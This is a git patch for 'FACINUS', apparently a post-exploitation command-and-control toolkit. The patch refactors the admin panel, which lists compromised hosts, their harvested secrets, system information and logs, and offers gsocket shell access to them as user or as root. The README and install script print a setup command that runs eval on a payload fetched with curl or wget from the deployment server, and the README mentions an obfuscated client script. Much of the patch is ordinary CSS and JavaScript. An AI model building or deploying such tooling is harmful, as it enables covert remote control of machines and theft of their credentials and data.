From 43ebdd8b190537e20992e16f3c3af2abd07573d4 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Wed, 9 Apr 2025 02:59:29 +0300 Subject: [PATCH] refactor handling web logs && fix issues --- README.md | 2 +- install | 2 +- web/admin.php | 907 ------------------------------------------- web/admin/admin.php | 275 +++++++++++++ web/admin/scripts.js | 63 +++ web/admin/styles.css | 276 +++++++++++++ web/index.html | 2 +- web/log_receiver.php | 6 +- web/web_setup.sh | 51 ++- 9 files changed, 645 insertions(+), 939 deletions(-) delete mode 100644 web/admin.php create mode 100644 web/admin/admin.php create mode 100644 web/admin/scripts.js create mode 100644 web/admin/styles.css diff --git a/README.md b/README.md index 2d6689a..6e32b54 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ Obfuscated script created. Deployment server setup complete! ============================================================== Server URL: http://192.168.0.131/deployment -Admin Page: http://192.168.0.131/deployment/admin.php +Admin Page: http://192.168.0.131/deployment/admin/admin.php Admin Password: 2cn2lguMIdx9 Client Setup Command: eval "$(curl -fsSL http://192.168.0.104/deployment/y)" ============================================================== diff --git a/install b/install index 9069322..73f5c84 100755 --- a/install +++ b/install @@ -47,7 +47,7 @@ echo "============================================================== Deployment server setup complete! ============================================================== Server URL: http://$SERVER_IP/deployment -Admin Page: http://$SERVER_IP/deployment/admin.php +Admin Page: http://$SERVER_IP/deployment/admin/admin.php Admin Password: $ADMIN_PASSWORD Client Setup Command: eval \"\$(wget -qO- http://$SERVER_IP/deployment/y)\" ============================================================== diff --git a/web/admin.php b/web/admin.php deleted file mode 100644 index 0659469..0000000 --- a/web/admin.php +++ /dev/null @@ -1,907 +0,0 @@ - - - - - - - FACINUS - Admin - - - - -
-
-
-
-  █████▒▄▄▄       ▄████▄   ██▓ ███▄    █  █    ██   ██████ 
-▓██   ▒▒████▄    ▒██▀ ▀█  ▓██▒ ██ ▀█   █  ██  ▓██▒▒██    ▒ 
-▒████ ░▒██  ▀█▄  ▒▓█    ▄ ▒██▒▓██  ▀█ ██▒▓██  ▒██░░ ▓██▄   
-░▓█▒  ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒░██░▓██▒  ▐▌██▒▓▓█  ░██░  ▒   ██▒
-░▒█░    ▓█   ▓██▒▒ ▓███▀ ░░██░▒██░   ▓██░▒▒█████▓ ▒██████▒▒
- ▒ ░    ▒▒   ▓▒█░░ ░▒ ▒  ░░▓  ░ ▒░   ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
- ░       ▒   ▒▒ ░  ░  ▒    ▒ ░░ ░░   ░ ▒░░░▒░ ░ ░ ░ ░▒  ░ ░
- ░ ░     ░   ▒   ░         ▒ ░   ░   ░ ░  ░░░ ░ ░ ░  ░  ░  
-             ░  ░░ ░       ░           ░    ░           ░  
-                 ░                                         
-
- admin panel
-
-
- - logout - -
- - - - -
- - -
- -
-
-

>

-
- - - - -
-

> gsocket shell access

- - - - -
-

> user session

-
- gs-netcat -s -i - -
-
- - - -
-

> root session

-
- gs-netcat -s -i - -
-
- - -
-

$ terminal emulation (run gs-netcat commands above in your local terminal)

-

$ this web console serves as a visual example only

-

$ -------------------------------------------------------

-
-
- $ - -
-
- -
-

no gsocket secrets collected from this host

-
- -
- -
- 0): ?> - $value): ?> -
-
- > -
-
- - -
-
- - -
-

no secrets collected from this host

-
- -
- -
- - - $value): ?> - - - - - -
- -
-

no system information collected

-
- -
- - -
- -
- 0): ?> - - -
-

no logs available

-
- - -
- -
-

select a host to view details

-
- -
-
- -
- - - - diff --git a/web/admin/admin.php b/web/admin/admin.php new file mode 100644 index 0000000..c0082df --- /dev/null +++ b/web/admin/admin.php @@ -0,0 +1,275 @@ + + + + + + + FACINUS - Admin + + + +
+ + + + + +
+ + +
+ +
+
+

>

+ + + + +
+ + + + +
+ 0): ?> + $value): ?> +
+
+ > +
+
+ + +
+
+ + +
+

no secrets collected from this host

+
+ +
+ +
+ + + $value): ?> + + + + + +
+ +
+

no system information collected

+
+ +
+ + +
+ +
+ 0): ?> + + + +
+

no logs available

+
+ + +
+ +
+

select a host to view details

+
+ +
+
+ +
+ + + + diff --git a/web/admin/scripts.js b/web/admin/scripts.js new file mode 100644 index 0000000..b29e9f4 --- /dev/null +++ b/web/admin/scripts.js @@ -0,0 +1,63 @@ +// Copy to clipboard functionality +document.addEventListener('click', function(e) { + if (e.target && e.target.classList.contains('copy-btn')) { + const text = e.target.getAttribute('data-clipboard'); + navigator.clipboard.writeText(text).then(function() { + const originalText = e.target.innerText; + e.target.innerText = "copied!"; + setTimeout(() => { + e.target.innerText = originalText; + }, 1000); + }); + } +}); + +// Search functionality +function setupSearch(inputId, itemsSelector) { + const searchInput = document.getElementById(inputId); + if (searchInput) { + searchInput.addEventListener('input', function() { + const query = this.value.toLowerCase(); + const items = document.querySelectorAll(itemsSelector); + + items.forEach(item => { + const text = item.textContent.toLowerCase(); + item.parentNode.style.display = text.includes(query) ? 'block' : 'none'; + }); + }); + } +} + +// Setup search functionality if elements exist +setupSearch('hostSearch', '.host-list a'); +setupSearch('logSearch', '.log-list a'); + +// Download button functionality +const downloadBtn = document.getElementById('downloadBtn'); +if (downloadBtn) { + downloadBtn.addEventListener('click', function() { + const logContent = document.querySelector('.logs'); + if (logContent) { + const content = logContent.innerText; + const blob = new Blob([content], {type: 'text/plain'}); + const url = URL.createObjectURL(blob); + + const a = document.createElement('a'); + a.href = url; + const urlParams = new URLSearchParams(window.location.search); + a.download = urlParams.get('log') || "log"; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + } + }); +} + +// Refresh button functionality +const refreshBtn = document.getElementById('refreshBtn'); +if (refreshBtn) { + refreshBtn.addEventListener('click', function() { + location.reload(); + }); +} diff --git a/web/admin/styles.css b/web/admin/styles.css new file mode 100644 index 0000000..741d372 --- /dev/null +++ b/web/admin/styles.css @@ -0,0 +1,276 @@ +:root { + --bg: #111111; + --text: #33ff33; + --text-dim: #1a991a; + --secondary: #aaaaaa; + --accent: #ff5555; + --border: #333333; + --hover: #222222; + --panel: #191919; +} + +* { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +body { + font-family: 'Courier New', monospace; + background-color: var(--bg); + color: var(--text); + line-height: 1.5; +} + +.container { + width: 95%; + max-width: 1400px; + margin: 0 auto; + padding: 10px; +} + +.header { + border-bottom: 1px solid var(--border); + padding: 10px 0; + margin-bottom: 20px; + display: flex; + justify-content: space-between; + align-items: center; +} + +pre { + font-family: 'Courier New', monospace; + overflow-x: auto; + white-space: pre; +} + +.ascii-header { + font-size: 12px; + line-height: 1.2; +} + +.logo { + text-decoration: none; + color: var(--text); +} + +.logout { + color: var(--text); + text-decoration: none; + border: 1px solid var(--border); + padding: 5px 10px; +} + +.logout:hover { + background: var(--hover); +} + +.dashboard { + display: flex; + gap: 20px; +} + +.sidebar { + width: 280px; + flex-shrink: 0; +} + +.content { + flex-grow: 1; +} + +.panel { + border: 1px solid var(--border); + background: var(--panel); + margin-bottom: 20px; +} + +.panel-header { + border-bottom: 1px solid var(--border); + padding: 10px; + display: flex; + justify-content: space-between; + align-items: center; +} + +.host-list, .log-list { + list-style: none; +} + +.host-list a, .log-list a, .tab { + display: block; + padding: 8px 10px; + color: var(--secondary); + text-decoration: none; + border-bottom: 1px solid var(--border); +} + +.host-list a:hover, .log-list a:hover, .tab:hover { + background: var(--hover); + color: var(--text); +} + +.host-list a.active, .log-list a.active, .tab.active { + color: var(--text); + background: rgba(51, 255, 51, 0.1); +} + +.tabs { + display: flex; + border-bottom: 1px solid var(--border); +} + +.tab { + padding: 8px 15px; + border-right: 1px solid var(--border); + border-bottom: none; +} + +.logs { + padding: 10px; + max-height: 600px; + overflow: auto; + white-space: pre-wrap; + font-family: 'Courier New', monospace; + font-size: 14px; + background: rgba(0, 0, 0, 0.2); +} + +.log-date { + float: right; + color: var(--text-dim); + font-size: 0.9em; +} + +.login { + max-width: 400px; + margin: 50px auto; + padding: 20px; + border: 1px solid var(--border); + background: var(--panel); +} + +input[type="password"], .search-box { + width: 100%; + padding: 8px; + margin: 10px 0; + background: var(--bg); + border: 1px solid var(--border); + color: var(--text); + font-family: 'Courier New', monospace; +} + +button, .action-btn { + padding: 8px 15px; + background: transparent; + color: var(--text); + border: 1px solid var(--text); + cursor: pointer; + font-family: 'Courier New', monospace; +} + +button:hover, .action-btn:hover { + background: rgba(51, 255, 51, 0.1); +} + +.welcome { + text-align: center; + padding: 50px 20px; + color: var(--secondary); +} + +.secrets { + padding: 10px; +} + +.secret { + margin-bottom: 10px; + border: 1px solid var(--border); + background: rgba(255, 255, 0, 0.05); +} + +.secret-title { + border-bottom: 1px dashed var(--border); + padding: 5px 8px; + font-size: 0.9em; + color: var(--text-dim); +} + +.command { + padding: 8px; + position: relative; + overflow-x: auto; + white-space: pre; + font-family: 'Courier New', monospace; +} + +.copy-btn { + position: absolute; + right: 5px; + top: 5px; + background: transparent; + color: var(--secondary); + border: 1px solid var(--border); + padding: 2px 5px; + cursor: pointer; + font-size: 12px; + width: auto; +} + +.copy-btn:hover { + background: var(--hover); + color: var(--text); +} + +.alert { + border-left: 3px solid var(--accent); + padding: 10px; + margin-bottom: 15px; + color: var(--accent); +} + +.system-info { + padding: 10px; +} + +.info-table { + width: 100%; + border-collapse: collapse; +} + +.info-table tr { + border-bottom: 1px solid var(--border); +} + +.info-table td { + padding: 8px 10px; +} + +.info-label { + color: var(--secondary); + width: 150px; +} + +.action-btn { + padding: 3px 8px; + font-size: 12px; + margin-left: 5px; +} + +@media (max-width: 800px) { + .dashboard { + flex-direction: column; + } + + .sidebar { + width: 100%; + } + + .ascii-header { + font-size: 10px; + } + + .tabs { + flex-wrap: wrap; + } +} diff --git a/web/index.html b/web/index.html index e53cfa1..cfc5a20 100644 --- a/web/index.html +++ b/web/index.html @@ -213,7 +213,7 @@

> admin

- $ access admin panel + $ access admin panel